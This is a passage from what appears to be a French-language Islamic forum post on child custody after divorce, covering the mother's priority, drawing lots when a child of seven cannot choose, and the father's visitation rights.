    avec lui et après que l’enfant soit reparti avec sa mère, le père n’a
    pas contredit le jugement du prophète car Allah a dit : «
    Il n’appartient pas ni croyants ni aux croyantes lorsqu’Allah et son
    prophète ont jugé une chose d’avoir encore le choix sur ce qu’ils
    veulent ou non »
    .


    Lorsque l’on dit que la mère mérite
    le plus d’avoir la garde de l’enfant c’est lorsqu’il y a une divergence
    entre les parents mais lorsqu’il y a un accord entre les 2 le problème
    ne se pose pas.
    Si l’enfant ne sait pas qui choisir lorsqu’il a
    atteint l’âge de 7 ans, les savants disent qu’il faut faire le tirage au
    sort car le tirage au sort est prit en compte en Islam et le résultat
    de celui-ci doit être respecté.

    La preuve de l’autorisation du
    tirage au sort est dans Sourat Ali 'Imran : Lorsque Maryam est née elle
    était orpheline. En raison des énormes bienfaits accordés à ceux qui
    prennent en charge un orphelin beaucoup d’hommes voulaient la prendre en
    charge. Un tirage au sort fut donc mit en place et ce fut Zakariya qui
    gagna ce tirage au sort et qui prit donc ensuite en charge Maryam.

    Si
    lors du tirage au sort le parent choisi ne voulait pas avoir la garde,
    les savants disent qu’il doit s’occuper de l’enfant même si c’est contre
    son gré.

    Il faut savoir aussi que bien que l’enfant soit gardé
    par la mère, le père a tout à fait le droit de voir l’enfant et de le
    garder de temps en temps. Ce n’est pas parce qu’il y a un divorce que
    les liens de sang doivent être coupés. Et il est interdit à la femme de
    défendre à son ancien mari de voir son fils ou d’interdir à son fils de
    voir son père car ceci est un appel à couper les liens.

    Et si la femme décède, le père doit alors prendre la garde de l’enfant car l’enfant ne peut pas être laissé seul.

      La date/heure actuelle est Sam 24 Juin - 3:17